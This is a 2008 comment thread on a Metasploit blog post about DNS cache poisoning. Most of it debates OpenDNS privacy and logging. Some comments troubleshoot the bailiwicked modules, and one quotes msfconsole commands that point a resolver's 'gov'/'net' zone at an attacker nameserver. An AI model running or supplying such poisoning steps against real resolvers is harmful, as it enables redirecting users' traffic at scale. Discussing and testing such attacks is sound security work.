Comments on Metasploit: DNS Attacks in the Wild

If it hasn't worked in about 5 minutes, something ...

2008-08-08T12:07:00.000-07:00

If it hasn't worked in about 5 minutes, something has gone wrong. Check the log files of the server, verify that the correct SRCPORT is used (or that its actually static). We have seen reports that BIND 9.2.x and 9.3.x are not working, but have not been able to confirm.

huh thx hdm it works but not on my dns server. i w...

2008-08-08T11:57:00.000-07:00

huh thx hdm it works but not on my dns server. i was waiting 1 hour and metasploit still continountig process ... so it may takes years.. hmm maybe i have to slow computer? (p4 2.4 512mb ram)

You need the SVN version (3.2-dev):$ svn co http:/...

2008-08-08T08:31:00.000-07:00

You need the SVN version (3.2-dev):
$ svn co http://metasploit.com/svn/framework3/trunk

Hi, i install metasploit 3.1 on gentoo and when i ...

2008-08-08T07:24:00.000-07:00

Hi, i install metasploit 3.1 on gentoo and when i copy bailiwicked_host to modules... and when i put "msfconsole" then on list of exploits,auxilities etc.. doesn't exists bailiwicked_host. What is wrong? sbd help?

"You aren't clear about this behavior. I use OpenD...

2008-08-08T02:01:00.000-07:00

"You aren't clear about this behavior. I use OpenDNS and didn't know."

I use OpenDNS too, and I did know. It's not exactly hidden (Settings -> Advanced Settings). I think the folks at OpenDNS are very clear about their operation, as their note on this subject (http://www.opendns.com/support/article/244) would appear to confirm.

"And you can get a warrant with gag order to make you keep logs while nobody knows. This isn't good at all."

You can also disable the (limited) OpenDNS proxy, as outlined above. As for a warrant with gag order, the same could be said for everything you do while online, from your ISP to Google, and everything in between. If you're THAT concerned about your privacy, your only real solution would be to disconnect the Ethernet cable from your machine. Oh yeah... might want to watch what you check out from your local library too (http://www.ala.org/ala/washoff/woissues/civilliberties/theusapatriotact/usapatriotact.cfm)!

AT&T's network in Austin was acting up again last ...

2008-08-03T17:43:00.000-07:00

AT&T's network in Austin was acting up again last night (8/2). I noticed slow loading of graphics and some failures to resolve web addresses. Running a traceroute from my home machine to www.yahoo.com showed that 4 out of 5 traces went properly to the SBC/ATT hetwork, but around 20% were just randomly being directed (after my router) to various IP addresses in China, the Phillipines, Russian Federation, etc.

Almost 4 hours dealing with AT&T tech support, and they were not acknowledging that there could be any network problems. I switched my router to use OpenDNS servers this morning and everything has been clear sailing all day.

Most, if not all, of the major telco/ISPs have pro...

2008-07-31T13:46:00.000-07:00

Most, if not all, of the major telco/ISPs have proven that they'll log anything, and give up anything, at government request. I can't see where OpenDNS creates any more of a real or potential privacy issue than AT&T, who have already proven they won't think twice about cooperating with the government to the detriment of their customers.

The reason why Gov servers are slower than other n...

2008-07-31T04:09:00.000-07:00

The reason why Gov servers are slower than other nameservers apparently, is due to usually improper configuration, tricky/buggy SOA records that may only be cached a special way which does not follow the standards (in some cases), thus a lot of the Gov domains, is NOT supported without www. for some funny reason. :) (i find it quite hilarious that you can't reach all .Gov domains without www.)

Even worse is that within many SOA records on Gov and Mil domains, the responsible mail-address for the Nameserver is invalid, which makes it even harder to contact the responsible to fix it.

@David UlevitchYou aren't clear about this behavio...

2008-07-31T01:06:00.000-07:00

@David Ulevitch

You aren't clear about this behavior. I use OpenDNS and didn't know.

And you can get a warrant with gag order to make you keep logs while nobody knows. This isn't good at all.

Alecco

That was caused by a typo -- the run I did was aga...

2008-07-30T13:52:00.000-07:00

That was caused by a typo -- the run I did was against NET, but I managed to screw up the parameters and redid it as GOV. When I fixed the example, I forgot to fix the echo'd value for the DOMAIN. The module works fine against either, I just found the GOV one more entertaining (its also faster to pop than GOV for some reason, I think less nameservers).

HDM, in your ddave post you paste:msf > use auxili...

2008-07-30T13:46:00.000-07:00

HDM, in your ddave post you paste:

msf > use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D
RHOST => A.B.C.D
msf auxiliary(bailiwicked_domain) > set DOMAIN gov
DOMAIN => net
msf auxiliary(bailiwicked_domain) > set SRCPORT 0
SRCPORT => 0
msf auxiliary(bailiwicked_domain) > set NEWDNS msfdns.ath.cx
NEWDNS => msfdns.ath.cx

in set DOMAIN you set GOV and apeear NET

why?

It takes 15 minutes to install dnscache. Once you...

2008-07-30T12:53:00.000-07:00

It takes 15 minutes to install dnscache. Once you install it you never have to touch or look at it again for most installations and it does not need patching.

http://cr.yp.to/djbdns.html

HD Moore,OpenDNS does a lot more than just protect...

2008-07-30T09:31:00.000-07:00

HD Moore,

OpenDNS does a lot more than just protect against this attack. It lets you decide what DNS you want to allow into your network, just like you'd do with an anti-spam service for your mail server.

With regards to the Google redirect, it is done to solve some issues caused by newer versions of the Google toolbar. We do it in as clear a way as possible (hence the CNAME instead of just returning an IP).

We also make it easy to turn off just by going to "Settings -> Advanced Settings" and unchecking the box for the proxy. 99.999% of people don't care, and for the few who do, that's why we make it as crystal clear as we do. And finally, we do not keep logs of ANY of the traffic that passes through it.